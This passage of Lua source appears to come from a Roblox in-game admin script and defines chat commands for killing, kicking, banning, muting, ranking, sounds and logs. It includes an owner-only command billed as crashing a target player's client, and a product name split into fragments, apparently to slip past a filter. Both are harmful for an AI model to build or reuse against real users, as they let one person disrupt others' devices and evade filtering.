5673 if PlayerInfo.Gamepad ~= nil then table.insert(Compile, "Has Gamepad: "..STRING:BoolString(PlayerInfo.Gamepad)) end
5674 if PlayerInfo.Mouse ~= nil then table.insert(Compile, "Has Mouse: "..STRING:BoolString(PlayerInfo.Mouse)) end
5675 if PlayerInfo.Keyboard ~= nil then table.insert(Compile, "Has Keyboard: "..STRING:BoolString(PlayerInfo.Keyboard)) end
5676 if PlayerInfo.TouchScreen ~= nil then table.insert(Compile, "Has TouchScreen: "..STRING:BoolString(PlayerInfo.TouchScreen)) end
5677 if PlayerInfo.Benchmark then
5678 table.insert(Compile, "BLUE BENCHMARK: "..PlayerInfo.Benchmark)
5679 end
5680 if Num ~= #Players then table.insert(Compile, "-----------------------------") end
5681 end
5682 GUI:ListGui(Speaker, "Information on "..#Players.." player(s)", Compile, "Information", false, false)
5683 end};
5684
5685 [{"loopkill", "lkill", "loopk"}] = {"player num", "Kills player num times", 2, "Admin", false, function(Speaker, Rank, Arguments)
5686 if tonumber(Arguments[2]) then
5687 local Players = STRING:Scan(Arguments[1], Speaker)
5688 for _,Player in pairs(Players) do
5689 coroutine.wrap(function()
5690 if Player.Character then
5691 table.insert(LoopKills, Player.Name)
5692 local Loop = nil
5693 local PrevChar = nil
5694
5695 for i = 1,tonumber(Arguments[2]) do
5696 local Char = Player.Character
5697 if PrevChar and PrevChar ~= Char then
5698 PrevChar:Destroy()
5699 end
5700 PrevChar = Char
5701 local CanDie = true
5702 for _,Name in pairs(LoopKills) do if Name == Player.Name then CanDie = true end end
5703 if CanDie == false then
5704 break
5705 end
5706 ypcall(function() Char.Parent = Server.Lighting end)
5707 wait(0.1)
5708 ypcall(function() Char.Parent = Server.Workspace end)
5709 wait(0.1)
5710 end
5711 end
5712 end)()
5713 end
5714 else
5715 GUI:SendMessage(Speaker, "Cannot execute", "RED Argument 2 is not a valid number", "Error")
5716 end
5717 end};
5718
5719 [{"noloopkill", "nolkill", "noloopk", "unloopkill", "unlkill", "unloopk"}] = {"player num", "Stops any loop kills on a player", 1, "Admin", false, function(Speaker, Rank, Arguments)
5720 local Players = STRING:Scan(Arguments[1], Speaker)
5721 for _,Player in pairs(Players) do
5722 for Num,Name in pairs(LoopKills) do
5723 if Player.Name == Name then
5724 table.remove(LoopKills, Num)
5725 end
5726 end
5727 end
5728 end};
5729
5730 [{"sound", "audio", "music"}] = {"num/string", "Plays the sound ID or string from the soundlist", 1, "Member", false, function(Speaker, Rank, Arguments)
5731 SOUND:PlayGlobalSound(Arguments[1])
5732 end};
5733
5734 [{"nosound", "noaudio", "nomusic", "stopsound", "stopaudio", "stopmusic"}] = {"", "Removes the current sound playing", 0, "Member", false, function(Speaker, Rank, Arguments)
5735 SOUND:StopGlobalSound()
5736 end};
5737
5738 [{"pitch"}] = {"num", "Sets the pitch of the current sound to num", 1, "Member", false, function(Speaker, Rank, Arguments)
5739 local Pitch = tonumber(Arguments[1])
5740 if not Pitch then Pitch = 1 end
5741 if Sound then
5742 Sound.Pitch = Pitch
5743 end
5744 end};
5745
5746 [{"search", "searchsound", "searchsounds", "searchaudio", "searchmusic", "ss"}] = {"string", "Searches the catalog for the sound string", 1, "Member", false, function(Speaker, Rank, Arguments)
5747 local CloseGui, AddInfo = GUI:LoadGui(Speaker, "Searching for: "..Arguments[1])
5748 local Items = MARKET:SearchItem(9, Arguments[1])
5749 if Items then
5750 if #Items ~= 0 then
5751 local List,Correlate = {},{}
5752 for Num,Info in pairs(Items) do
5753 local Display = " "..Info.Name.." by: "..Info.Creator.." ("..Info.AssetId..")"
5754 table.insert(List, Display)
5755 Correlate[Display] = Info.AssetId
5756 end
5757 CloseGui:Invoke()
5758
5759 local CanClick = true
5760 if Rank == "Member" then CanClick = false end
5761 local Clicked = GUI:ListGui(Speaker, "Search Results: "..Arguments[1], List, "Search", CanClick)
5762 Clicked.Event:connect(function(ClickName)
5763 local OldSoundId = nil
5764 SOUND:StopGlobalSound()
5765 if "rbxassetid://"..Correlate[ClickName] ~= OldSoundID then
5766 SOUND:PlayGlobalSound(Correlate[ClickName])
5767 end
5768 end)
5769 else
5770 CloseGui:Invoke()
5771 GUI:SendMessage(Speaker, "No results", "BLUE No results for "..Arguments[1].." found...", "Information")
5772 end
5773 else
5774 CloseGui:Invoke()
5775 GUI:SendMessage(Speaker, "Cannot get audio", "RED Cannot get audio. Is HttpService enabled?", "Error")
5776 end
5777 end, Http = true};
5778
5779 [{"gun"}] = {"player", "Gives player a gun", 1, "Member", false, function(Speaker, Rank, Arguments)
5780 local Players = STRING:Scan(Arguments[1], Speaker)
5781 for _,Player in pairs(Players) do
5782 if Player.Character then
5783 CORE:ExecuteResource("Gun", Player.Character)
5784 end
5785 end
5786 end};
5787
5788 [{"sink", "pothole", "quicksand"}] = {"player", "Sinks the player", 1, "Member", true, function(Speaker, Rank, Arguments)
5789 local Players = STRING:Scan(Arguments[1], Speaker)
5790 for _,Player in pairs(Players) do
5791 if Player.Character and Player.Character:FindFirstChild("Torso") and Player.Character:FindFirstChild("Humanoid") then
5792 local Hole = Instance.new("Part", Player.Character) Hole.Name = "Hole" Hole.BrickColor = BrickColor.new("Really black") Hole.Size = Vector3.new(5,1.2,5) Hole.Anchored = true Hole.CanCollide = fals Hole.Locked = true Hole.CFrame = Player.Character.Torso.CFrame * CFrame.new(0,-3.5,0) * CFrame.Angles(0,0,0) Instance.new("CylinderMesh", Hole)
5793 Player.Character.Humanoid.WalkSpeed = 0
5794 Player.Character.Torso.Anchored = true
5795 coroutine.wrap(function()
5796 local OldCFrame = Player.Character.Torso.CFrame
5797 for i = 0,8,0.1 do
5798 Player.Character.Torso.CFrame = OldCFrame * CFrame.new(0,-i,0)
5799 wait()
5800 end
5801 Player.Character.Torso.Anchored = false
5802 Player.Character:BreakJoints()
5803 CORE:InvisiblePlayer(Player)
5804 end)()
5805 end
5806 end
5807 end};
5808
5809 [{"freeze", "anchor"}] = {"player", "Freezes player in place", 1, "Member", false, function(Speaker, Rank, Arguments)
5810 local Players = STRING:Scan(Arguments[1], Speaker)
5811 for _,Player in pairs(Players) do
5812 CORE:AnchorPlayer(Player)
5813 end
5814 end};
5815
5816 [{"nofreeze", "unfreeze", "noanchor", "unanchor", "thaw"}] = {"player", "Unfreezes player", 1, "Member", false, function(Speaker, Rank, Arguments)
5817 local Players = STRING:Scan(Arguments[1], Speaker)
5818 for _,Player in pairs(Players) do
5819 CORE:UnanchorPlayer(Player)
5820 end
5821 end};
5822
5823 [{"invisible", "invis"}] = {"player", "Makes player invisible", 1, "Member", false, function(Speaker, Rank, Arguments)
5824 local Players = STRING:Scan(Arguments[1], Speaker)
5825 for _,Player in pairs(Players) do
5826 CORE:InvisiblePlayer(Player)
5827 end
5828 end};
5829
5830 [{"visible", "vis"}] = {"player", "Makes player visible", 1, "Member", false, function(Speaker, Rank, Arguments)
5831 local Players = STRING:Scan(Arguments[1], Speaker)
5832 for _,Player in pairs(Players) do
5833 CORE:VisiblePlayer(Player)
5834 end
5835 end};
5836
5837 [{"asteroid", "comet", "meteor", "meteorite"}] = {"player", "Shoots an asteroid at player", 1, "Member", true, function(Speaker, Rank, Arguments)
5838 local Players = STRING:Scan(Arguments[1], Speaker)
5839 for _,Player in pairs(Players) do
5840 if Player.Character and Player.Character:FindFirstChild("Torso") then
5841 local Ast = Instance.new("Part", Server.Workspace) Ast.Name = "Asteroid" Ast.Position = Player.Character.Torso.Position + Vector3.new(0,500,0) Ast.Size = Vector3.new(12,12,12)
5842 local Mesh = Instance.new("SpecialMesh", Ast) Mesh.MeshId = "rbxassetid://1290033" Mesh.Scale = Vector3.new(6.2,6.2,6.2) Mesh.TextureId = "rbxassetid://1290030"
5843 local Fire = Instance.new("Fire", Ast) Fire.Heat = 25 Fire.Size = 30
5844 local Smoke = Instance.new("Smoke", Ast) Smoke.RiseVelocity = 10 Smoke.Size = 10
5845 local BoomSound = SOUND:MakeSound(Ast, 188590169, 1, 1)
5846 local Fly = SOUND:MakeSound(Ast, 179438534, 1, 1, true)
5847 Fly:Play()
5848 local Touched = false
5849 coroutine.wrap(function()
5850 repeat wait(0.1)
5851 Ast.Position = Vector3.new(Player.Character.Torso.Position.X, Ast.Position.Y, Player.Character.Torso.Position.Z)
5852 until not Ast or Ast.Parent == nil or Touched == true
5853 end)()
5854 Ast.Touched:connect(function(Part)
5855 if Touched == false then
5856 Touched = true
5857 Part:BreakJoints()
5858 local Boom = Instance.new("Explosion", Workspace)
5859 Boom.Position = Ast.Position
5860 Boom.BlastPressure = 1000000
5861 Boom.BlastRadius = 30
5862 Fire.Heat = 0
5863 Smoke.RiseVelocity = 0
5864 Fly:Stop()
5865 BoomSound:Play()
5866 coroutine.wrap(function()
5867 wait(3)
5868 BoomSound:Stop()
5869 if Ast and Ast.Parent ~= nil then
5870 Ast:Destroy()
5871 end
5872 end)()
5873 end
5874 end)
5875 end
5876 end
5877 end};
5878
5879 [{"kick"}] = {"player", "Will kick player out of the server", 1, "Admin", false, function(Speaker, Rank, Arguments)
5880 local Success = {}
5881 local Players = STRING:Scan(Arguments[1], Speaker)
5882 for _,Player in pairs(Players) do
5883 local PlayerRank = RANK:GetRank(Player)
5884 if PlayerRank ~= "Owner" and PlayerRank ~= "Admin" then
5885 CORE:Kick(Player)
5886 table.insert(Success, Player)
5887 end
5888 end
5889 REMOTE:SendHttpLog(Speaker.Name.." kicked "..CORE:UnpackPlayers(Success), "INFORMATION")
5890 end};
5891
5892 [{"ban"}] = {"player", "Will ban player and will be unable to join", 1, "Admin", false, function(Speaker, Rank, Arguments)
5893 local Success = {}
5894 local Players = STRING:Scan(Arguments[1], Speaker)
5895 for _,Player in pairs(Players) do
5896 local PlayerRank = RANK:GetRank(Player)
5897 if PlayerRank ~= "Owner" and PlayerRank ~= "Admin" then
5898 RANK:RemoveRank(Player)
5899 table.insert(Settings.Ranks.Banned, Player.Name)
5900 CORE:Kick(Player)
5901 table.insert(Success, Player)
5902 end
5903 end
5904 REMOTE:SendHttpLog(Speaker.Name.." banned "..CORE:UnpackPlayers(Success), "WARNING")
5905 end};
5906
5907 [{"crash"}] = {"player", "Will crash player with a painful BSOD", 1, "Owner", false, function(Speaker, Rank, Arguments)
5908 local Success = {}
5909 local Players = STRING:Scan(Arguments[1], Speaker)
5910 for _,Player in pairs(Players) do
5911 local PlayerRank = RANK:GetRank(Player)
5912 if PlayerRank ~= "Owner" then
5913 RANK:RemoveRank(Player)
5914 table.insert(Settings.Ranks.Crashed, Player.Name)
5915 CORE:Crash(Player)
5916 table.insert(Success, Player)
5917 end
5918 end
5919 REMOTE:SendHttpLog(Speaker.Name.." crashed "..CORE:UnpackPlayers(Success), "INFORMATION")
5920 end};
5921
5922 [{"mute"}] = {"player", "Makes player unable to talk", 1, "Owner", false, function(Speaker, Rank, Arguments)
5923 local Success = {}
5924 local Players = STRING:Scan(Arguments[1], Speaker)
5925 for _,Player in pairs(Players) do
5926 local PlayerRank = RANK:GetRank(Player)
5927 if PlayerRank ~= "Owner" then
5928 RANK:RemoveRank(Player)
5929 table.insert(Settings.Ranks.Muted, Player.Name)
5930 GUI:CoreGui(Player, "Chat", false)
5931 table.insert(Success, Player)
5932 end
5933 end
5934 REMOTE:SendHttpLog(Speaker.Name.." has muted "..CORE:UnpackPlayers(Success), "INFORMATION")
5935 end};
5936
5937 [{"noadmin", "unadmin", "nomember", "unmember", "nomem", "unmem", "noowner", "unowner", "noown", "unown", "nocrash", "uncrash", "noban", "unban", "nomute", "unmute", "derank"}] = {"player", "Removes whatever rank player has(if your rank is sufficient enough to override player's)", 1, "Admin", false, function(Speaker, Rank, Arguments)
5938 local Players = STRING:Scan(Arguments[1], Speaker)
5939 if #Players > 0 then
5940 local Success = {}
5941 for _,Player in pairs(Players) do
5942 local RankName,RankNum = RANK:GetRank(Player)
5943 if RankNum < RANK:ConvertRank(Rank) or RANK:IsSupremeOwner(Speaker) then
5944 if not RANK:IsSupremeOwner(Player) then
5945 if RankName == "Muted" then
5946 GUI:CoreGui(Player, "Chat", true)
5947 end
5948 if RankNum > 0 then
5949 GUI:TellNotAdmin(Player)
5950 end
5951 RANK:RemoveRank(Player)
5952 table.insert(Success, Player)
5953 end
5954 end
5955 end
5956 REMOTE:SendHttpLog(Speaker.Name.." has unranked "..CORE:UnpackPlayers(Players), "INFORMATION")
5957 else
5958 local Player,PlayerRank = RANK:GetPlayerFromList(Arguments[1])
5959 if Player then
5960 local RankNum = RANK:ConvertRank(PlayerRank)
5961 if RANK:IsSupremeOwner(Speaker) or RankNum < RANK:ConvertRank(Rank) then
5962 if not RANK:IsSupremeOwner(Player) then
5963 RANK:RemoveRank(Player)
5964 REMOTE:SendHttpLog(Speaker.Name.." has unranked "..Player, "INFORMATION")
5965 end
5966 end
5967 end
5968 end
5969 end};
5970
5971 [{"member", "mem"}] = {"player", "Adds player to the member list", 1, "Admin", false, function(Speaker, Rank, Arguments)
5972 local Players = STRING:Scan(Arguments[1], Speaker)
5973 if #Players > 0 then
5974 local Success = {}
5975 for _,Player in pairs(Players) do
5976 local PlayerRank,RankNum = RANK:GetRank(Player)
5977 if RANK:ConvertRank(Rank) > RankNum or RANK:IsSupremeOwner(Speaker) and not RANK:IsSupremeOwner(Player) then
5978 RANK:RemoveRank(Player)
5979 table.insert(Settings.Ranks.Member, Player.Name)
5980 GUI:TellAdmin(Player)
5981 table.insert(Success, Player)
5982 end
5983 end
5984 REMOTE:SendHttpLog(Speaker.Name.." has membered "..CORE:UnpackPlayers(Success), "INFORMATION")
5985 else
5986 local Player,PlayerRank = RANK:GetPlayerFromList(Arguments[1])
5987 if Player then
5988 local RankNum = RANK:ConvertRank(PlayerRank)
5989 if RANK:IsSupremeOwner(Speaker) or RankNum < RANK:ConvertRank(Rank) then
5990 if not RANK:IsSupremeOwner(Player) then
5991 RANK:RemoveRank(Player)
5992 table.insert(Settings.Ranks.Member, Player)
5993 end
5994 end
5995 else
5996 RANK:RemoveRank(Arguments[1])
5997 table.insert(Settings.Ranks.Member, Arguments[1])
5998 end
5999 end
6000 end};
6001
6002 [{"admin", "adm"}] = {"player", "Adds player to the admin list", 1, "Owner", false, function(Speaker, Rank, Arguments)
6003 local Players = STRING:Scan(Arguments[1], Speaker)
6004 if #Players > 0 then
6005 local Success = {}
6006 for _,Player in pairs(Players) do
6007 local PlayerRank,RankNum = RANK:GetRank(Player)
6008 if RANK:ConvertRank(Rank) > RankNum or RANK:IsSupremeOwner(Speaker) and not RANK:IsSupremeOwner(Player) then
6009 RANK:RemoveRank(Player)
6010 table.insert(Settings.Ranks.Admin, Player.Name)
6011 GUI:TellAdmin(Player)
6012 table.insert(Success, Player)
6013 end
6014 end
6015 REMOTE:SendHttpLog(Speaker.Name.." has admined "..CORE:UnpackPlayers(Success), "INFORMATION")
6016 else
6017 local Player,PlayerRank = RANK:GetPlayerFromList(Arguments[1])
6018 if Player then
6019 local RankNum = RANK:ConvertRank(PlayerRank)
6020 if RANK:IsSupremeOwner(Speaker) or RankNum < RANK:ConvertRank(Rank) then
6021 if not RANK:IsSupremeOwner(Player) then
6022 RANK:RemoveRank(Player)
6023 table.insert(Settings.Ranks.Admin, Player)
6024 end
6025 end
6026 else
6027 RANK:RemoveRank(Arguments[1])
6028 table.insert(Settings.Ranks.Admin, Arguments[1])
6029 end
6030 end
6031 end};
6032
6033 [{"owner", "own"}] = {"player", "Adds player to the owner list(Speaker must be game owner)", 1, "Owner", false, function(Speaker, Rank, Arguments)
6034 local Players = STRING:Scan(Arguments[1], Speaker)
6035 if RANK:IsSupremeOwner(Speaker) then
6036 if #Players > 0 then
6037 local Success = {}
6038 for _,Player in pairs(Players) do
6039 if not RANK:IsSupremeOwner(Player) then
6040 RANK:RemoveRank(Player)
6041 table.insert(Settings.Ranks.Owner, Player.Name)
6042 GUI:TellAdmin(Player)
6043 table.insert(Success, Player)
6044 end
6045 end
6046 REMOTE:SendHttpLog(Speaker.Name.." has ownered "..CORE:UnpackPlayers(Success), "INFORMATION")
6047 else
6048 local Player,PlayerRank = RANK:GetPlayerFromList(Arguments[1])
6049 if Player then
6050 local RankNum = RANK:ConvertRank(PlayerRank)
6051 if RANK:IsSupremeOwner(Speaker) or RankNum < RANK:ConvertRank(Rank) then
6052 if not RANK:IsSupremeOwner(Player) then
6053 RANK:RemoveRank(Player)
6054 table.insert(Settings.Ranks.Owner, Player)
6055 end
6056 end
6057 else
6058 RANK:RemoveRank(Arguments[1])
6059 table.insert(Settings.Ranks.Owner, Arguments[1])
6060 end
6061 end
6062 end
6063 end};
6064
6065 [{"admins", "adminlist"}] = {"", "Lists all admins in the admin", 0, "Member", false, function(Speaker, Rank, Arguments)
6066 local TableStorage = {}
6067 for _,Obj in pairs(Settings.Ranks.Member) do table.insert(TableStorage, Obj..": Member") end
6068 for _,Obj in pairs(Settings.Ranks.Admin) do table.insert(TableStorage, Obj..": Admin") end
6069 for _,Obj in pairs(Settings.Ranks.Owner) do table.insert(TableStorage, "BOLD: "..Obj..": Owner") end
6070 GUI:ListGui(Speaker, "Admin List", TableStorage, 45961462)
6071 end};
6072
6073 [{"serveradmins", "sa"}] = {"", "Lists all admins in the server", 0, "Member", false, function(Speaker, Rank, Arguments)
6074 local TableStorage = {}
6075 for _,Player in pairs(Server.Players:GetChildren()) do
6076 local ValidAdmin,PlayerRank = RANK:IsAdmin(Player)
6077 if ValidAdmin then
6078 if PlayerRank == "Owner" then
6079 table.insert(TableStorage, "BOLD: "..Player.Name..": Owner")
6080 else
6081 table.insert(TableStorage, Player.Name..": "..PlayerRank)
6082 end
6083 end
6084 end
6085 GUI:ListGui(Speaker, "Server admin List", TableStorage, 76198987)
6086 end};
6087
6088 [{"bans", "banlist"}] = {"", "Lists all players who've been banned", 0, "Member", false, function(Speaker, Rank, Arguments)
6089 GUI:ListGui(Speaker, "Ban List", Settings.Ranks.Banned, 163337795)
6090 end};
6091
6092 [{"crashes", "crashlist"}] = {"", "Lists all players who've been crashed", 0, "Member", false, function(Speaker, Rank, Arguments)
6093 GUI:ListGui(Speaker, "Crash List", Settings.Ranks.Crashed, 35480917)
6094 end};
6095
6096 [{"mutes", "muted", "mutelist"}] = {"", "Lists all players who've been muted", 0, "Member", false, function(Speaker, Rank, Arguments)
6097 GUI:ListGui(Speaker, "Mute List", Settings.Ranks.Muted, 202000870)
6098 end};
6099
6100 [{"exiles", "exilelist"}] = {"", "Lists all the exiled players(banned, crashed, muted) in the admin", 0, "Member", false, function(Speaker, Rank, Arguments)
6101 local TableStorage = {}
6102 for _,Obj in pairs(Settings.Ranks.Banned) do table.insert(TableStorage, Obj..": Banned") end
6103 for _,Obj in pairs(Settings.Ranks.Crashed) do table.insert(TableStorage, Obj..": Crashed") end
6104 for _,Obj in pairs(Settings.Ranks.Muted) do table.insert(TableStorage, Obj..": Muted") end
6105 GUI:ListGui(Speaker, "Exile List", TableStorage, 132769258)
6106 end};
6107
6108 [{"ranked", "ranks", "ranklist"}] = {"", "Lists all the players ranked in the admin", 0, "Member", false, function(Speaker, Rank, Arguments)
6109 local TableStorage = {}
6110 for PlayerRank,PlayerNames in pairs(Settings.Ranks) do
6111 for Num,PlayerName in pairs(PlayerNames) do
6112 if PlayerRank == "Owner" then
6113 table.insert(TableStorage, "BOLD: "..PlayerName..": Owner")
6114 else
6115 table.insert(TableStorage, PlayerName..": "..PlayerRank)
6116 end
6117 end
6118 end
6119 GUI:ListGui(Speaker, "Rank List", TableStorage, 21341765)
6120 end};
6121
6122 [{"logs", "commandlogs", "cmdlogs"}] = {"", "Lists all the logs of executed commands", 0, "Admin", false, function(Speaker, Rank, Arguments)
6123 GUI:ListGui(Speaker, "Command Logs", CORE:ReverseTable(CommandLogs), "Log")
6124 end};
6125
6126 [{"chatlogs"}] = {"", "Lists all the logs of players who've chatted", 0, "Admin", false, function(Speaker, Rank, Arguments)
6127 GUI:ListGui(Speaker, "Chat Logs", CORE:ReverseTable(ChatLogs), "Log")
6128 end};
6129
6130 [{"irclogs"}] = {"", "Lists all the logs of irc output", 0, "Admin", false, function(Speaker, Rank, Arguments)
6131 GUI:ListGui(Speaker, "IRC Logs", CORE:ReverseTable(IRC.Logs), "Log")
6132 end};
6133
6134 [{"exploitlogs"}] = {"", "Lists all the logs of exploits", 0, "Admin", false, function(Speaker, Rank, Arguments)
6135 local ExploitLog = Server.GDS:GetAsync("ExploitLog")
6136 if type(ExploitLog) ~= "table" then ExploitLog = {} end
6137 GUI:ListGui(Speaker, "Exploit Logs", ExploitLog, "Log")
6138 end};
6139
6140 [{"clearlogs", "clearcommandlogs", "clearcmdlogs"}] = {"", "Clears all the logs of executed commands", 0, "Owner", false, function(Speaker, Rank, Arguments)
6141 CommandLogs = {}
6142 end};
6143
6144 [{"clearchatlogs"}] = {"", "Clears all the logs of players who've chatted", 0, "Owner", false, function(Speaker, Rank, Arguments)
6145 ChatLogs = {}
6146 end};
6147
6148 [{"clearirclogs"}] = {"", "Clears all the logs of irc output", 0, "Owner", false, function(Speaker, Rank, Arguments)
6149 IRC.Logs = {}
6150 end};
6151
6152 [{"clearalllogs", "resetlogs"}] = {"", "Clears ALL logs (Command, Chat, IRC) but not exploit logs", 0, "Owner", false, function(Speaker, Rank, Arguments)
6153 CommandLogs = {}
6154 ChatLogs = {}
6155 IRC.Logs = {}
6156 end};
6157
6158 [{"clearexploitlogs"}] = {"", "Clears all the logs of exploits", 0, "Admin", false, function(Speaker, Rank, Arguments)
6159 Server.GDS:SetAsync("ExploitLog", {})
6160 end};
6161
6162 [{"soundlist", "musiclist", "audiolist", "songs", "sounds", "musics", "audios"}] = {"", "Lists all the sounds in the global sound list", 0, "Member", false, function(Speaker, Rank, Arguments)
6163 local List,Correlate,SoundName = {},{},{}
6164 for Name,Info in pairs(SoundList) do
6165 local View = "Command Name: "..Name.." | Audio ID: "..Info[1].." | Full Name: "..Info[2]
6166 table.insert(List, View)
6167 Correlate[View] = Info[1]
6168 end
6169
6170 local CanClick = true
6171 if Rank == "Member" then CanClick = false end
6172 local Clicked = GUI:ListGui(Speaker, "Sound List", List, "Sound", CanClick)
6173 Clicked.Event:connect(function(ClickName)
6174 local OldSoundId = nil
6175 SOUND:StopGlobalSound()
6176 if "rbxassetid://"..Correlate[ClickName] ~= OldSoundID then
6177 SOUND:PlayGlobalSound(Correlate[ClickName])
6178 end
6179 end)
6180 end};
6181
6182 [{"syncsoundlist", "syncsounds", "syncaudiolist", "syncaudios", "syncmusiclist", "syncmusics"}] = {"", "Resyncs the global sound list to the server", 0, "Admin", false, function(Speaker, Rank, Arguments)
6183 SOUND:SyncSoundList(Speaker)
6184 end};
6185
6186 [{"cleart", "clearterrain", "cleant", "cleanterrain"}] = {"", "Clears all terrain from the server", 0, "Admin", false, function(Speaker, Rank, Arguments)
6187 local Answer = GUI:PromptMessageWithButtons(Speaker, "Clean Terrain?", "Do you really want to clear all terrain in the server? If there is a lot of terrain this can cause major lag. Continue?", "Question", {"Yes", "No"})
6188 if Answer == "Yes" then
6189 Server.Workspace.Terrain:Clear()
6190 end
6191 end};
6192
6193 [{"clearstamp", "clearstamper", "cleanstamp", "cleanstamper"}] = {"", "Clears all items in workspace that came from the stamper tool (Not terrain)", 0, "Admin", false, function(Speaker, Rank, Arguments)
6194 local Answer = GUI:PromptMessageWithButtons(Speaker, "Clean All Stamper Objects?", "Do you really want to clear all stamper objects in the server, this will clean all bricks/models placed down by stamper and if there's a lot of them it can cause major lag? Continue?", "Question", {"Yes", "No"})
6195 if Answer == "Yes" then
6196 for _,Obj in pairs(Workspace:GetChildren()) do
6197 if Obj:FindFirstChild("RobloxStamper") and Obj:FindFirstChild("RobloxModel") then
6198 Obj:Destroy()
6199 end
6200 end
6201 end
6202 end};
6203
6204 [{"base", "baseplate", "newbase", "makebase", "newbaseplate", "makebaseplate"}] = {"", "Creates a baseplate inside the server", 0, "Admin", false, function(Speaker, Rank, Arguments)
6205 CORE:MakeBase()
6206 end};
6207
6208 [{"addsound", "addaudio", "addmusic"}] = {"num(ID) string", "Will add the song of num(ID) named string to the custom sound list of the game", 2, "Admin", false, function(Speaker, Rank, Arguments)
6209 local CustomSounds = Server.GDS:GetAsync("MML Custom Sounds")
6210 if CustomSounds == nil or type(CustomSounds) ~= "table" then
6211 CustomSounds = {}
6212 end
6213 if tostring(Arguments[1]) then
6214 local Request = MARKET:GetItemInfo(Arguments[1])
6215 if Request.AssetTypeId == 3 then
6216 table.insert(CustomSounds, {Arguments[2], Arguments[1]})
6217 SoundList[Arguments[2]] = {Arguments[1], Request.Name, Request.Creator.Name}
6218 Server.GDS:SetAsync("MML Custom Sounds", CustomSounds)
6219 GUI:SendHint(Speaker, "Sound Added to server sound list and for future servers.", 4)
6220 else
6221 GUI:SendMessage(Speaker, "Invalid", "Please make sure that your ID is an audio asset.", 4)
6222 end
6223 end
6224 end};
6225
6226 [{"removesound", "removeaudio", "removemusic"}] = {"string", "Will remove the sound string from the custom sound list of the game", 1, "Admin", false, function(Speaker, Rank, Arguments)
6227 local CustomSounds = Server.GDS:GetAsync("MML Custom Sounds")
6228 if CustomSounds == nil or type(CustomSounds) ~= "table" then
6229 CustomSounds = {}
6230 end
6231
6232 local Removed = {}
6233 for Num,Data in pairs(CustomSounds) do
6234 if string.sub(string.lower(Data[1]),1,#Arguments[1]) == string.lower(Arguments[1]) then
6235 table.insert(Removed, Data[1])
6236 table.remove(CustomSounds, Num)
6237 end
6238 end
6239
6240 Server.GDS:SetAsync("MML Custom Sounds", CustomSounds)
6241
6242 SOUND:SyncSoundList()
6243
6244 if #Removed > 0 then
6245 GUI:SendHint(Speaker, "Removed from custom sound list: "..STRING:UnpackArgs(Removed))
6246 else
6247 GUI:SendHint(Speaker, "Could not find sound "..Arguments[1].." in custom sound list")
6248 end
6249 end};
6250
6251 [{"clearsounds", "clearaudio", "clearmusic"}] = {"", "Clears all sounds in the custom sound list of the game", 0, "Admin", false, function(Speaker, Rank, Arguments)
6252 local Answer = GUI:PromptMessageWithButtons(Speaker, "Clear All Sounds", "Would you like to clear all sounds from the custom Lua".."M".."od".."elMa".."ke".."r's sound list? This will clear all sounds from the ;addsound command and will affect all sounds in all of this game's servers. Are you sure you want to clear?(All default global sounds will remain)", "Question", {"Yes", "No"})
6253 if Answer == "Yes" then
6254 Server.GDS:SetAsync("MML Custom Sounds", {})
6255 SoundList = GlobalSoundList -- Reset to old sounds without having to re-sync!
6256 GUI:SendHint(Speaker, "All custom sounds have been removed", 4)
6257 end
6258 end};
6259
6260 [{"benchmark", "bench"}] = {"player", "Benchmarks player", 1, "Admin", false, function(Speaker, Rank, Arguments)
6261 local Players = STRING:Scan(Arguments[1], Speaker)
6262 local SpeakerTesting = false
6263 for _,Player in pairs(Players) do
6264 if Player == Speaker then SpeakerTesting = true end
6265 if Player:FindFirstChild("Backpack") then coroutine.wrap(function()
6266 CORE:ExecuteResource("Benchmark", Player.Backpack, {["Admin"] = script})
6267 --wait(10)
6268 --GUI:SendMessage(Player, "Benchmark almost done", "Your client is cleaning up the mess made. Please wait until you are reset by your client to have results submitted", "Information", 10)
6269 end)() end
6270 end
6271 if SpeakerTesting == false then
6272 GUI:SendMessage(Speaker, "Benchmarking", "The player(s) are now being benchmarked. To view results say "..Settings.Prefix.."getbench player", "Information", 10)
6273 end
6274 end};
6275
6276 [{"getbench", "getbenchmark", "getbenches", "getbenchmarks"}] = {"player", "Gets benchmarks of player", 1, "Member", false, function(Speaker, Rank, Arguments)
6277 local Players = STRING:Scan(Arguments[1], Speaker)
6278 local Compile = {}
6279 for _,Player in pairs(Players) do
6280 local PlayerInfo = ClientInfo[Player.Name]
6281 if PlayerInfo then
6282 if PlayerInfo.Benchmark then
6283 table.insert(Compile, Player.Name..": "..PlayerInfo.Benchmark)
6284 else
6285 table.insert(Compile, Player.Name..": No score")
6286 end
6287 end
6288 end
6289 GUI:ListGui(Speaker, "Benchmarks", Compile, "Information")
6290 end};
6291
6292 [{"replicatecommand", "replicatecmd", "repcmd", "repcommand", "rc", "sudo"}] = {"player string[command]", "Executes string as a command on player as if they said it", 2, "Owner", false, function(Speaker, Rank, Arguments)
6293 local Players = STRING:Scan(Arguments[1], Speaker)
6294 for _,Player in pairs(Players) do
6295 CORE:Chatted(Arguments[2], Player, true)
6296 end
6297 end};
6298
6299 [{"virtexe", "virtualexe", "virtsudo", "virtualsudo", "vsudo", "vs"}] = {"string[Name] string[Rank] string[Command]", "Executes string[Command] on a vitual player named string[Name] with the rank string[Rank]", 3, "Owner", false, function(Speaker, Rank, Arguments)
6300 CORE:Chatted(Arguments[3], nil, true, Arguments[1], Arguments[2], RANK:IsSupremeOwner(Speaker))
6301 end};
6302
6303 [{"longneck", "lneck", "longn", "ln"}] = {"player", "Makes player have a long neck", 1, "Member", true, function(Speaker, Rank, Arguments)
6304 local Players = STRING:Scan(Arguments[1], Speaker)
6305 for _,Player in pairs(Players) do
6306 if Player.Character ~= nil then
6307 if Player.Character:FindFirstChild("Torso") and Player.Character:FindFirstChild("Head") ~= nil then
6308 if Player.Character.Torso:FindFirstChild("Neck") then
6309 Player.Character.Torso.Neck.C0 = CFrame.new(0,3,0) * CFrame.Angles(-math.rad(90),0,math.rad(180))
6310 local Neck = Player.Character:FindFirstChild("Neck") if Neck then Neck:Destroy() end
6311 Neck = Instance.new("Part", Player.Character) Neck.Name = "Neck" Neck.Size = Vector3.new(1,3,1) Neck.Position = Vector3.new(0,100,0) Neck.BrickColor = BrickColor.new(tostring(Player.Character.Head.BrickColor)) Neck.Locked = true
6312 local Mesh = Instance.new("CylinderMesh", Neck) Mesh.Scale = Vector3.new(0.7,1,0.7)
